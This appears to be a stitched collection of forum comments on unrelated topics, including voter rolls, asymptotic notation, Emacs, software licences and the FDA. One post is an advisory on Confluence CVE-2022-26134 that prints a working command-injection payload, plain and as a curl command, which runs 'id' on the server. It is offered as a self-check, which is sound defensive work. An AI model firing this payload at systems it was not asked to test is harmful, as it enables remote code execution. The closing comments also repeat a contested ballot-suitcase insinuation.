Dead people on the registration list has of course not much to do with dead people actually casting a vote. Not to mention that many "dead" voters aren't dead, but the SSA fucked up.

The Heritage Foundation, which is very much in love with the idea of voter fraud, has been able to find a total of 19 cases since 1997 where somebody used a deceased person's registration to (attempt to) vote.

So maybe let's kick the facetious "supposedly" of the last sentence.

And if we wanted to do better with that - the same crowd that is oh-so-concerned with voter fraud is oddly opposed to a federal registry, federal ID, or free state ID. All things that'd help tremendously with increasing the accuracy of voter rolls.

> a few isolated instances of innocent people being falsely convicted or forced to plead guilty as proof that such errors are pervasive and undermine the integrity of the justice system.

I think you misunderstand the nature of the critique. Granted I’m just one leftist among a few tens, but the systemic prejudice of the justice system is not a few isolated cases, not limited to wrongful convictions, and mostly invisible by design. Most of it is fully legal and unassailable from a legal standpoint. They don’t need to get away with crimes if the law is in their favor.

No. Any constant is in O(1), but not in o(1). Specifically, f=O(g) means f is (eventually) at most Cg for a certain C, but f=o(g) means f is (eventually) at most Cg for all C.

A useful, albeit not really rigorous, way to think about this is O is like ≤, while o is like <.

US SEC chief unveils plan to overhaul Wall Street stock trading
> It's too bad that "begs the question" has changed to match a phrase we already had, "raises the question"

It hasn't changed, it has expanded to include an transitive form which is a rationalization and folk-etymology of the intransitive form (whose obsolete use of every word except “the” makes it otherwise stand out in modern English.) The mediocre-translation-from-Latin-to-obsoletr-English intransitive form makes sense when viewed as (though obviously this isn't the real etymology) a variation of the more transitive form where the omitted object is “the question of the justification of the original claim”.

“Purists” objecting to the newer form which is structurally distinct and thus impossible to confuse with the older form, creating no ambiguity of meaning, are just showing a lack of understanding of the structure of English.

The web stack is abysmally slow, so you have to carefully pick the levels at which you offer extensibility. Emacs doesn’t have to worry about a DOM, CSS, etc. There’s just not that much between between grabbing input events, storing a character in a gap buffer, updating a glyph matrix, and painting the screen. And it’s all heavily optimized to be usable over ancient serial links: https://web.mit.edu/~yandros/doc/craft-text-editing/Chapter-.... So even making each of those steps heavily programmable in Elisp—every key press invokes a Lisp function that can be rebound, or adviced-around, still ends up performing reasonably well on a modern machine.
>I don't much believe in antivirus, as crooks can often find ways around them.

Zero-Day Vulnerability in Atlassian Confluence
On 2022-06-03, New zero-day Vulnerability occured. CVE-2022-26134 is one of command injection vulnerability. According to Report, a zero-day attack that began during the Memorial Day holiday in the United States and attacker could exploit this CVE-2022-26134 vulnerability to upload a webshell.

You can see full report on this blog
https://blog.criminalip.io/2022/06/05/criminal-ip-analysis-report-on-zero-day-vulnerability-in-atlassian-confluence/ .
EDIT: Patch out: https://www.atlassian.com/software/confluence/download-archives

If you are a Confluence user and you have access to Confluence through a browser on your PC, you can run the following command with a curl or python script to determine vulnerabilities of your Confluence server. Even if you are not an information security officer, there is a way to check vulnerabilities of your company’s Confluence. Try the following method and immediately request your security department for patches :

https://your_confluence_address/${(#result=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec(“id”).getInputStream(),”utf-8″)).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader(“X-Cmd-Response”,#result))}/

If you change the part of your Confluence address, you can check it with curl as follows. If the uid, gid, and group of the Confluence server are displayed in the X-Cmd-Response header value, this server is considered to have CVE-2022-26134 vulnerability.

curl -v -k –head https://your_confluence_address/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D/ | grep X-Cmd-Response
I guess it depends on how literal "all hell will break loose" is defined :). It was worth a story in the news, which is significant. How many of those does it take before it becomes a national headline? Way before we get to enough votes to matter. Imagine in either location it was, say, a dozen people saying that? There'd be calls to invalidate the election results in those areas and redo.

This submission slid off the front page shockingly fast. "Investigation report on the OVH data centre fire in Strasbourg on 2021-03-10" has 54 points, submitted 6 hours ago, and is ranked 15th. This one has 154 points, submitted 1 hour ago, and is 39th.

Dictionary definitions of “literally” that list “figuratively” do a poor job of capturing the figurative use of “literally”, which is an intensifier for when the sentence without the modifier would (in the speakers mind) already be implicitly figurative; it does not denote that the comparison is figurative, it intensifies the already figurative xomparison.

I have a colleague who had a dedicated PC that had to be on at all times. The company bought a UPS for it, and it was on patch exception lists to prevent automatic reboot.

One day, I asked him what it was and he showed me. He was running a series of excel macros that took over 96 hours to run, and fed a critical business process that was worth a few million dollars.

I sat down and took a look at it, and in about 3 days implemented a prototype in SQLite and a small Perl script that ran in about 8 minutes. Basically, it was a series of sql joins and some regex. My colleague, a project manager, literally hugged me and was near tears.

Some devs later took that prototype and refactored it to run on a normal production platform.

The GPL is for when you have an ideological agenda, the MIT is for when you don't. MIT says "do whatever you like with this but include the license" in less words than the GPL's preamble. GPL says people can use it, but can't without providing all the source code for no more than the cost of media (though I'd have to call a lawyer to be sure that's all it says these days because the damn thing is long and complicated) but it forces users to conform to someone's idea of fairness.

Basically if the thought of your code ever ending up in something that someone might somehow make money from, like maybe in an iOS app, is somehow icky - then GPL is for you! If you just want to put it out there and code, not politics, is your thing - go MIT.

Building parking is expensive, eliminating parking minimums will reduce the cost of building out new housing.
If I, as a "natural person", hire someone to clean my back yard, then I expect to pay taxes on that income as it comes to me, and I expect the person I'm hiring to pay taxes on it as it comes to them.

And if corporations want to "be people too", then they should be prepared to pay comparable taxes as "natural persons" do.

Otherwise, corporations should be corporations, and people should be people, and you don't mix the two up.

I have seen your posts on HN, I don't buy that you're actually confused. Overt racism at the door to the DMV is not at all how you disenfranchise a group of citizens, especially in modern times.

It insulates you against direct evidence but still achieves your goal.

It doesn't really suck up that much time. It's not even as complex as people make it seem.

There's a lot of stuff simulated - you can wrestle with someone and throw them down some stairs, where they break a rib, and that rib punctures their heart and causes them to bleed to death. But from a UI perspective, you're still just throwing someone down the stairs.

> The FDA moved mountains to get these first vaccines rushed out of the door.

Did we follow the same pandemic? It looked to me like they were slow as snails. The whole idea of Operation Warpspeed was that the manufacturers will work hard to make the vaccines and run the tests, and they'll share all the data with the FDA and the FDA will evaluate as the data came, and when the manufacturers were sending the final results, the FDA will be able to review everything quickly and make the decision ASAP.

Instead, they decided in the middle of the testing that there are not enough minorities in the tested population, and they need to add a few thousand more participants (and about 2 months to the timeline). Then, after the submissions happened, it took them more than a month each time to give their EUA. Where "E" stands for "emergency". That's at a time when between 1000 and 3000 people were
dying daily of Covid in the US.

It's quite likely that tens of thousands of people died because of how inefficient the FDA was.
Your sample size is pretty small to draw such sweeping conclusions, and for suggesting we should ignore this person's statement about their own experience in favor of what you think about their life.

> I also go by a street that's full of people living in vans that have ruined the neighborhood. The mess is so bad that the local sanitation department has to clean the area on a regular basis.

I hear things like this all the time about unhoused people, and yet having seen living conditions many times, I've never seen these problems. It may be what you see on that street, but I doubt it's representative.
Does everything require an overly simplistic supply and demand explanation? It is by design a prestige development that hopes to attract high worth foreigners. If they start pricing it so that locals can afford it, the value will tank because the riff-raff have been let in and the investors will be up in arms. I'm not saying that I like any of this, but it's a for-profit real estate development, not government funded social housing.

I met Doug Engelbart in the late 90's during his reboot sessions at Stanford. Lots of luminaries spoke, including Ted Nelson.

I was there because I read every one of his group's papers, in the mid 80's, and wrote a version of Augment in MS-DOS and Turbo Pascal. I think I showed him a demo.

He invited me to attend informal meetings at SRI. I left after a few weeks because I couldn't figure out how it would result in a product. Had already went into deep personal debt, once before (about $50K in 1990), trying to market something similar.

> They would need to be able to mobilize tens or hundreds of thousands of votes on hours of notice.

The ability does exist, for example in Fulton County there is video of workers pulling suitcases full of ballots out from under tables and running them possibly multiple times through machines after poll watchers had been sent home. An investigation revealed there was no widespread voter fraud, but in an alternate universe those ballots could have been shenanigan votes.

>They would also need to be able to distribute those votes broadly enough not to cause suspicion when an unexpected trove of votes are added late.

The votes that were added overnight actually weren’t broadly distributed at all. Suspicion was raised (and dismissed, since investigations suggested no evidence of widespread voter fraud).

>These votes would also need to be cast intelligently enough to match all expected down ballot elections not to draw suspicion.

If I recall, many if not most of the votes added overnight did not have downballot selections at all. Of course, this fact is not evidence of widespread voter fraud.

>I don't think there is a way to do all of this without a sweeping multi-state conspiracy.

I tend to agree. A multi-state conspiracy is more likely than districts in Atlanta, Detroit, Philadelphia and other swing state cities acting independently of each other - that is, if widespread voter fraud did occur, which of course there is no evidence of.
